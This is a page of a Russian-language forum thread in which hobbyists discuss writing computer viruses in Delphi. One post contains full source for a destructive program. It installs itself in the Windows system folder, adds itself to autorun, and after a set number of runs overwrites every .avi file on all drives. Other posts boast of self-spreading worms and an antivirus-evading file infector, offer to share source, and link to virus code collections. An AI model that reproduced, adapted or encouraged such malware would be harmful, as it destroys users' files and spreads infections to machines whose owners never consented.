Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2 3 4 5 След.
RSS
Пишу вирус на Делфи, Помогите Please
 
Цитата
Да блокнот я уже написал тока чо с ним делать не знаю
Попробуй сделать редактор кода, например ПХП 5,со всемы новыми штуками, круто было бы.
 
Deplhi
Писать вирусы - это творчество, мой вирь поректоной работы 45кб червЪ, расспростроянющийся по локалке, выврдящий систему защиты:) а так же не палитцо антивирями, отключает все виды уничтожения из памяти:)
Писать дестракшены бред, вот червей, паразитов, троянов это другое.

Есть вопрос кто работал с компонентами ICQ нужен менуал(список юзеров онлайн, так же прикрепить фаил и отправить)
У кого есть компонент magent, очень нужен, везде падла платная.

Так же кому часть сорца нужна расспростарения по локалке и другая инфа, стучите 312718038.
 
Вот тебе исходник, мною написанного "виря" (вирусом это назвать сложно). Здесь найдешь функцию поиска файлов на всем винте. Сильно не матюкать, писал давно...
--------------------------------------------------------
{==========================DLLVir===========================
DLLVir v 2.5}
program Project2;
uses
 Windows,SysUtils,Variants,Classes,Controls,Dialogs,
 ExtCtrls,StdCtrls,Inifiles,masks,forms;
var
win: TIniFile;
name: string;
applname : string;
i0,i00,i1 : integer;
list : tstringlist;
f0,f1,f2 : textfile;
a : tstringlist;
Windir  : string;
WindirP : PChar;
res : integer;
ne : pchar;
nl : string;
nt : string;
exename, logname,tlbname : string;
time,newtime: integer;
Disk : array [1..24] of string;
ras : array [1..7] of string;
fol : string;

procedure  FindAllFiles(List:  TStringlist;  Dir,  Mask:  string);
  procedure  ScanDir(Dir:  string);
  var
  SR:  TSearchRec;
  begin
  Dir  :=  IncludeTrailingBackSlash(dir);
  if  FindFirst(Dir  +  '*.*',  faAnyFile  -  faVolumeID,  SR)  =  0  then
  try
  repeat
  if  (SR.Name  <>  '.')  and  (SR.Name  <>  '..')  then
  if  SR.Attr  and  faDirectory  <>  0  then
  ScanDir(Dir  +  SR.Name)
  else
  if  MatchesMask(SR.Name,  Mask)  then
  List.Add(Dir  +  SR.Name)
  until  FindNext(SR)  <>  0;
  finally
  list.SaveToFile(nl);
  assignfile(f0,nl);
  append(f0);
  writeln(f0,'end');
  closefile(f0);
  FindClose(SR);
  end;
  end;
begin
ScanDir(Dir);
end;

begin
//-------------------massiv diskov------------------------
disk[1] := 'c:';
disk[2] := 'd:';
disk[3] := 'e:';
disk[4] := 'f:';
disk[5] := 'g:';
disk[6] := 'h:';
disk[7] := 'i:';
disk[8] := 'j:';
disk[9] := 'k:';
disk[10] := 'l:';
disk[11] := 'm:';
disk[12] := 'n:';
disk[13] := 'o:';
disk[14] := 'p:';
disk[15] := 'q:';
disk[16] := 'r:';
disk[17] := 's:';
disk[18] := 't:';
disk[19] := 'u:';
disk[20] := 'v:';
disk[21] := 'w:';
disk[22] := 'x:';
disk[23] := 'y:';
disk[24] := 'z:';

ras[1] := '*.avi';

//-------Nazvanie exe fila and log fila and time-------
  EXENAME :='ping12.exe';
  LOGNAME:='windows.log';
  TLBNAME:='mdminfot.PNF';
  TIME := 15;
//-------------------Yznaem dir windows-----------------
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);

//-------------Pyti exe fil and log fil-----------------
ne := pchar(windir + '\system32\'+ exename);
nl := windir + '\'+ logname;
nt := windir +'\system32\Com\'+ tlbname;

list := tstringlist.Create;
a := tstringlist.Create;
application.Initialize;
applname := application.ExeName;

//-------------------------autoran-----------------------
Win:= TIniFile.Create('win.ini');
Win.ReadString ('windows','run',name);
IF name<> exename then
win.WriteString('windows','run',ne);
Win.Free;

//-----------copirovanie v siistemnyu papky--------------
copyfile(pchar(applname),ne,false);


//------------proverka iz kakoi papki zapusk-------------
getdir(0,fol);
if fol + '\' + exename = ne then

//-----------proverka faila na chislo zapyskov-----------
if fileexists(nt) = false then
begin
 assignfile(f2,nt);
 rewrite(f2);
 writeln(f2,time);
 closefile(f2);
end else
begin
 assignfile(f2,nt);
 reset(f2);
 readln(f2,newtime);
 closefile(f2);
 rewrite(f2);
 writeln(f2,newtime-1);
 closefile(f2);
end;

//-----------------------Proverka zapyskov-------------------
if newtime-1 = 1 then
begin
for i0 := 1 to 24 do
for i00 := 1 to 1 do
begin
FindAllFiles(list,disk[i0],ras[i00]);
end;
end;

//-----------------------Proverka zapyskov-------------------
if newtime-1 = 0 then
begin
a.LoadFromFile(nl);
i1 := a.IndexOf('end');
for i0 := 0 to (i1-1) do
 begin
 assignfile(f1,a.Strings[i0]);
 if fileexists(a.Strings[i0]) then
  begin
   rewrite(f1);
   writeln(f1,'Please remove me !!!');
   closefile(f1);
  end;
 end;
end;
end.

-------------------------------------------------------
 
Цитата
слухай сюды, СХД, каким это способом я должен это дело скомпилировать? В С++ Билдер ещё не пробовал, но вдругих компиляторах - 2 варнинга и 25 ерроров.
ProRider я компилил в Microsoft Visual Studio .NET 2003, но скомпилится и в Microsoft Visual Studio 2005...
Только жирный текст убери или /*закоменти*/!!!
 
Будут проблемы пиши либо в личку либо на майл...
 
ни чего толкового связанного вообще с вирусами или с их созданием на делфи в топике я не нашёл... Вирусы (я подчеркиваю - настоящие файловые вирусы - parasitic) на делфи писать можно, очень это творческое занятие.. Например я написал вирус на делфи весом около 2,5 кб.. Он ищет все файлы на всех доступных для записи локальных дисках.. При каждом запуске вируса (хоть в чистом виде, хоть из жертвы) он заражает по 13 файлов своим кодом.. Зараженные файлы сохраняют работоспособность но становятся заразными.. Вирус шифрует тело жертвы в себе псевдослучайным ключём.. Заражение происходит без каких-либо временных фавйлов в темпе, как это часто делают другие.. Запуск жертвы происходит непосредственно в память (так же без извлечения в темп..).. Т.о. если например заразить вирусом какой-нибудь троян, то он будет работать, но не будет палится антивирусом (вирус получается что-то типо самораспространяющегося криптора)))... Написан вирь на чистом WinApi без функций RTL (т.е. всяких вкусняшек типо типа string юзать нельзя).. После компиляции вес виря 5кб- после упаковки fsg2 около 2,5кб.. Вирус не палится не одним антивирём.. пашет очень резво и надёжно.. Неизлечим... Т.о. считаю что главное в программирование  - это сильно захотеть.. а критиковать делфи все любят..

Если кому-то интересно я могу выложить сорци своего виря))
 
Архиологи блин )))

execom zloy - полоностью с тобой согласен, все кто говорит что на делфе нельзя писать хорошие вирурусы ламерьё и сами наверное за свою жизнь ничего стоящего не написали )) А сорцы выложи с удовольствие посмотрю ))
 
Цитата
Linuxoid-ht пишет:
"В стране заводы стоят, а вокруг одни гитаристы!"
Займись общественно полезной работой, а не херью, которой все еще в школе отстрадали!
А, если он щас в школе учится? А может он антивирусы писать будет потом. Для этого ему вирусы надо уметь создавать
 
Здесь найдёте интересные исходные коды вирусов на Delphi и Pascal...
Virus Source Codes
 
[COLOR=red][QУОТЕ][ИМГ]хттп://маил.ру[/ИМГ]
 
вот почитайте может вам будит интересно http://www.skachivaem.ru  :o
 
Ну ваще!  :D  Пишите вирусы на С или С++ там больше возможностей! Ну или АСМ изучай и пиши!
 
Цитата

Ну ваще!  Пишите вирусы на С или С++ там больше возможностей! Ну или АСМ изучай и пиши!
Спешу Вас разочаровать, возможности С, С++, ASM, Delphi и Pascal при создании Win32 приложений (вирусов итд) абсолютно одинаковые, главное иметь светлый ум и прямые руки.
Ну и так на затравочку, главное уметь грамотно составлять и анализировать алгоритмы, а второе - хороше знать платформу Win32. И это моё большое ИМХО....
 
А в паскале или Delphi, что можно работать с памятью?  :D
 
Цитата

А в паскале или Delphi, что можно работать с памятью?
Меня всегда убивали высказывания людей некомпетентных в той или иной области, вот Вы только что это ещё раз подтвердили. Учите матчасть.
 
Но это да! C++ и Delphi языки одного уровня, но разных подуровней.
Вообще-то C/C++ довольно мощные языки и они мощнее чем Delphi. Язык С++ он отец Delphi.На делфи ты можешь отстрелить себе только ноги, а на С++ ты можешь отстрелить себе ВСЁ!
P.S:Пиши на том языке который, лучше знаешь!
Изменено: zRooTz - 14.10.2008 14:51:43
 
Цитата

P.S:Пиши на том языке который, лучше знаешь!
Пожалуй на этом и остановим нашу бессмысленную словесную перепалку.
 
Пример простого "вируса" на Pascal/Delphi:
http://coru.in/viewtopic.php?id=624
 
Цитата
execom zloy пишет:

                                                               ни чего толкового связанного вообще с вирусами или с их созданием на делфи в топике я не нашёл... Вирусы (я подчеркиваю - настоящие файловые вирусы - parasitic) на делфи писать можно, очень это творческое занятие.. Например я написал вирус на делфи весом около 2,5 кб.. Он ищет все файлы на всех доступных для записи локальных дисках.. При каждом запуске вируса (хоть в чистом виде, хоть из жертвы) он заражает по 13 файлов своим кодом.. Зараженные файлы сохраняют работоспособность но становятся заразными.. Вирус шифрует тело жертвы в себе псевдослучайным ключём.. Заражение происходит без каких-либо временных фавйлов в темпе, как это часто делают другие.. Запуск жертвы происходит непосредственно в память (так же без извлечения в темп..).. Т.о. если например заразить вирусом какой-нибудь троян, то он будет работать, но не будет палится антивирусом (вирус получается что-то типо самораспространяющегося криптора)))... Написан вирь на чистом WinApi без функций RTL (т.е. всяких вкусняшек типо типа string юзать нельзя).. После компиляции вес виря 5кб- после упаковки fsg2 около 2,5кб.. Вирус не палится не одним антивирём.. пашет очень резво и надёжно.. Неизлечим... Т.о. считаю что главное в программирование  - это сильно захотеть.. а критиковать делфи все любят..

Если кому-то интересно я могу выложить сорци своего виря))

вот это, вызывает некоторое уважение,
на дельфи можно написать все что угодно - это аксиома!
пишу и на асме в числе многих других, но дельфи это первая любовь!
 
Только меня тут смущает, что "вирус" заполняет массив дисков так:

disk[1]:='c';
disk[2]:='d';
...
disk[24]:='z';

ИМХО сначала надо научиться циклы делать, и только потом - вирусы писать.
Изменено: Илья Тетерин - 01.12.2008 09:35:45
Страницы: Пред. 1 2 3 4 5 След.
Читают тему